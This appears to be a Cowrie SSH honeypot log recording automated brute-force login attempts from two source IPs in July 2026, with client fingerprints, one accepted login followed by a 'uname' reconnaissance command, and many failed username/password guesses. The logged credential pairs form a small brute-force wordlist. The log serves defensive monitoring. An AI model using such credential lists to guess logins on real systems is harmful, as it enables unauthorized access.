{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.285311Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.480859Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.482910Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.564940Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.567528Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42494,"dst_ip":"10.17.0.5","dst_port":22,"session":"490d45e0d838","protocol":"ssh","message":"New connection: 45.156.87.253:42494 (10.17.0.5:22) [session: 490d45e0d838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:23.261525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:23.264956Z","src_ip":"45.156.87.253","session":"490d45e0d838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:23.345200Z","src_ip":"45.156.87.253","session":"490d45e0d838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:23.588572Z","src_ip":"45.156.87.253","session":"490d45e0d838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:24.671995Z","src_ip":"45.156.87.253","session":"490d45e0d838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac7d0a63d718","protocol":"ssh","message":"New connection: 45.156.87.253:42496 (10.17.0.5:22) [session: ac7d0a63d718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:26.675683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:26.681497Z","src_ip":"45.156.87.253","session":"ac7d0a63d718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:26.762408Z","src_ip":"45.156.87.253","session":"ac7d0a63d718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:27.007147Z","src_ip":"45.156.87.253","session":"ac7d0a63d718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44812,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b8f85b3713a","protocol":"ssh","message":"New connection: 103.82.132.16:44812 (159.203.135.109:22) [session: 8b8f85b3713a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:27.682344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:27.686472Z","src_ip":"103.82.132.16","session":"8b8f85b3713a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:27.949853Z","src_ip":"103.82.132.16","session":"8b8f85b3713a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:28.090613Z","src_ip":"45.156.87.253","session":"ac7d0a63d718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27061993","message":"login attempt [root/27061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:28.744671Z","src_ip":"103.82.132.16","session":"8b8f85b3713a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:30.010205Z","src_ip":"103.82.132.16","session":"8b8f85b3713a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42216,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0e76ddb68f","protocol":"ssh","message":"New connection: 45.156.87.253:42216 (10.17.0.5:22) [session: af0e76ddb68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:30.024017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:30.043316Z","src_ip":"45.156.87.253","session":"af0e76ddb68f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:30.125341Z","src_ip":"45.156.87.253","session":"af0e76ddb68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345","message":"login attempt [server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:30.368305Z","src_ip":"45.156.87.253","session":"af0e76ddb68f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:31.532845Z","src_ip":"45.156.87.253","session":"af0e76ddb68f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42218,"dst_ip":"10.17.0.5","dst_port":22,"session":"43fd935781cf","protocol":"ssh","message":"New connection: 45.156.87.253:42218 (10.17.0.5:22) [session: 43fd935781cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:33.357169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:33.360459Z","src_ip":"45.156.87.253","session":"43fd935781cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:33.440447Z","src_ip":"45.156.87.253","session":"43fd935781cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:33.805894Z","src_ip":"45.156.87.253","session":"43fd935781cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:34.889090Z","src_ip":"45.156.87.253","session":"43fd935781cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42226,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ded31d3bfa","protocol":"ssh","message":"New connection: 45.156.87.253:42226 (10.17.0.5:22) [session: 08ded31d3bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:36.813000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:36.818073Z","src_ip":"45.156.87.253","session":"08ded31d3bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:36.898054Z","src_ip":"45.156.87.253","session":"08ded31d3bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"rootroot","message":"login attempt [deploy/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:37.138712Z","src_ip":"45.156.87.253","session":"08ded31d3bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:38.221770Z","src_ip":"45.156.87.253","session":"08ded31d3bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36452,"dst_ip":"10.17.0.5","dst_port":22,"session":"106811a4f27b","protocol":"ssh","message":"New connection: 45.156.87.253:36452 (10.17.0.5:22) [session: 106811a4f27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:40.133655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:40.136175Z","src_ip":"45.156.87.253","session":"106811a4f27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:40.217381Z","src_ip":"45.156.87.253","session":"106811a4f27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:40.461215Z","src_ip":"45.156.87.253","session":"106811a4f27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:41.544522Z","src_ip":"45.156.87.253","session":"106811a4f27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36456,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8f8a64de91","protocol":"ssh","message":"New connection: 45.156.87.253:36456 (10.17.0.5:22) [session: bf8f8a64de91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:43.526356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:43.534276Z","src_ip":"45.156.87.253","session":"bf8f8a64de91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:43.610221Z","src_ip":"45.156.87.253","session":"bf8f8a64de91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:43.926047Z","src_ip":"45.156.87.253","session":"bf8f8a64de91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:45.008541Z","src_ip":"45.156.87.253","session":"bf8f8a64de91","protocol":"ssh"}
